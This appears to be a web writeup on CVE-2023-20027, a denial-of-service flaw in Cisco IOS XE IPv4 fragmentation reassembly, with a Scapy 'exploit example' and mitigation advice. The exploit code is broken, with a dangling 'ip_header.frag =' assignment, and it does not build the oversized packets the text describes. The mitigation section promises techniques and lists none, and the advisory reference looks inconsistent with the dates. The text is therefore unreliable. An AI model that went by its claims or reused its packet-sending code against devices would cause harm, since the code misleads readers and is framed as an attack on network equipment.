CVE-2023-20027: Cisco IOS XE IPv4 Virtual Fragmentation Reassembly Vulnerability Could Lead to Denial of Service

A recently discovered vulnerability in Cisco IOS XE Software can potentially cause a Denial of Service (DoS) condition on affected devices. The vulnerability (CVE-2023-20027) lies in the implementation of the IPv4 Virtual Fragmentation Reassembly (VFR) feature in this network operating system. The vulnerability can be exploited by unauthenticated remote attackers and can cause critical outages in the event of a successful attack.

Vulnerability Details

The CVE-2023-20027 vulnerability is a result of improper reassembly of large packets that occur when VFR is enabled either on a tunnel interface or on a physical interface with a configured maximum transmission unit (MTU) greater than 4,615 bytes. When an attacker sends fragmented packets through a VFR-enabled interface on an affected device, the device can possibly crash and reload, effectively causing a DoS condition.

Exploit Example and Code Snippet

A simple example of how an attacker can exploit this vulnerability is by sending fragmented packets through a vulnerable interface. The code snippet below demonstrates how a remote attacker can generate fragmented packets using Python's Scapy library:

from scapy.all import *

# Packet creation
ip_header = IP(src="1.1.1.1", dst="2.2.2.2")
ip_header.frag = 
ip_header.flags = 1

# Create fragmented packets
packet1 = ip_header / "First part of the payload"
packet2 = ip_header / "Second part of the payload"

# Send the fragmented packets
send(packet1, iface="en")  # send the first part
send(packet2, iface="en")  # send the second part

In this example, we create two separate IP packets using Scapy's "IP" class and set their flags to indicate that they are fragmented. We then send these packets through an interface (en in this case), which, if vulnerable, may lead to the crash and reload of the affected device.

Original References

Cisco has acknowledged the vulnerability and shared details on the affected devices and software versions:

- Official Cisco Security Advisory: CISCO-SA-20231005-IPFWD-FRAG
- National Vulnerability Database (NVD): CVE-2023-20027

Mitigation and Patching

Cisco has addressed this vulnerability in the latest release of Cisco IOS XE Software and recommends that users update their devices as soon as possible. Users can install the updated software by visiting their Software download page. Additionally, Cisco suggests applying the following mitigation techniques as a temporary solution:

Conclusion

The CVE-2023-20027 vulnerability could have severe consequences if exploited, resulting in a DoS condition on affected Cisco IOS XE devices. Applying the appropriate patches and updates, as well as implementing the suggested mitigations, can help protect your systems and prevent any potential exploits. It is crucial to stay informed about such vulnerabilities and promptly take the required measures to minimize risks and protect valuable network resources.

Timeline

Published on: 03/23/2023 17:15:00 UTC
Last modified on: 04/05/2023 18:18:00 UTC